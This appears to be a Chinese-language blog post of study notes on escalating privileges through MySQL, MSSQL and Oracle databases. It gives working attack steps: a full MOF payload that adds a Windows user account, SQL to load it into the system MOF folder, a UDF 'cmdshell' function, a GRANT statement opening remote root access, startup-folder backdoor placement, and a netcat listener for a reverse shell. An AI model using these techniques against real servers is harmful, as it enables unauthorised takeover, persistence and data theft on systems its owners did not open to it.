7.22-27MY&MS&ORA等SQL資料庫提權

路Sang發表於2024-07-27

7.22-27MY&MS&ORA等SQL資料庫提權

思路:在利用系統溢位漏洞無果情況下,可以採用資料庫提權;

前提:資料庫服務開啟,且獲得資料庫最高許可權賬號密碼;除Access資料庫外,其他資料庫基本都存在提權可能;

Mysql提權

思路: 服務探針-資訊收集-提權利用-獲取許可權;

1、讀取預設資料庫配置檔案;(瞭解其命名和查詢規則)
sql data inc config conn database common include

2、讀取資料庫儲存和備份檔案(瞭解資料庫儲存格式及對應內容)

@@basedir/data/資料庫名.表名.myd

思路:找到mysq'l安裝路徑下的,data資料夾中的user.MYD檔案;

密碼儲存在mysql.user目錄;

直接解密root密碼,為root

3、利用指令碼暴力破解(是否支援外聯及如何開啟外聯

預設root不直接外聯;
思路: 將爆破指令碼傳輸上網站伺服器;

4、遠端本地暴力破解,伺服器本地暴力破解

UDF提權(原理mysql呼叫系統命令函式)

首先:UDF(Userdefined function)是使用者自定義函式

1.mysql<5.1,匯出目錄c:/windows/system32

2.mysql=>5.1,匯出資料庫安裝目錄/lib/plugin;存在於’mysql/lib/plugin’目錄下,檔案字尾為’.dll’

思路: 判斷資料庫版本,執行sql語句select version();,之後檢視資料庫安裝目錄,執行select @@basedir;

手工建立plugin目錄或利用NTFS流建立
select 'x' into dumpfile '目錄/lib/plugin::INDEX_ALLOCATION'

建立udf引數命令create function cmdshell returns string soname 'moonnudf.dll'

MOF提權(基於mysql特性)

原理: 利用mof是windows系統一個檔案(在 f),託管物件格式;

1、將mof上傳至任意可讀可寫目錄下;

利用程式碼如下

1 #pragma namespace("\\\\.\\root\\subscription") 
2 instance of __EventFilter as $EventFilter 
3 { 
4 EventNamespace = "Root\\Cimv2"; 
5 Name = "filtP2"; 
6 Query = "Select * From __InstanceModificationEvent " 
7 "Where TargetInstance Isa \"Win32_LocalTime\" " 
8 "And TargetInstance.Second = 5"; 
9 QueryLanguage = "WQL"; 
10 }; 
11 instance of ActiveScriptEventConsumer as $Consumer 
12 { 
13 Name = "consPCSV2"; 
14 ScriptingEngine = "JScript"; 
15 ScriptText = 
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";  # 執行命令需修改
17 }; 
18 instance of __FilterToConsumerBinding 
19 { 
20 Consumer = $Consumer; 
21 Filter = $EventFilter; 
22 };

2.用sql語句將檔案匯入;

slelct load_file ('上傳目錄')into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';

3、等待命令執行成功;

寫入啟動項(配合作業系統自啟動)

win10啟動項C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

匯出自定義可執行檔案到啟動目錄配置重啟執行;
將建立好的後門或執行檔案進行伺服器啟動項寫入,配合重啟執行;

啟動專案錄:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup寫入後門;
此時若要利用msf進行攻擊寫入後門提權則必須先開啟資料庫外聯;

GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION; 其中username和password為賬密

反彈shell(基於反彈特性命令)

思路:將資料庫許可權反彈至伺服器中,監聽伺服器埠即可;
nc -l -p 5577

MSSQL提權,轉至

[[2023.7.2-3-4Mssql xp_cmdshell提權]]

上述筆記包含 1.xp_cmdshell提權 和 2.sp_oacreate提權

3、沙盒提權

三、Oracle提權

jsp網站後門不需要提權,自帶system

提權工具對應三種模式

1、普通使用者

2、DBA使用者

3、注入模式

相關文章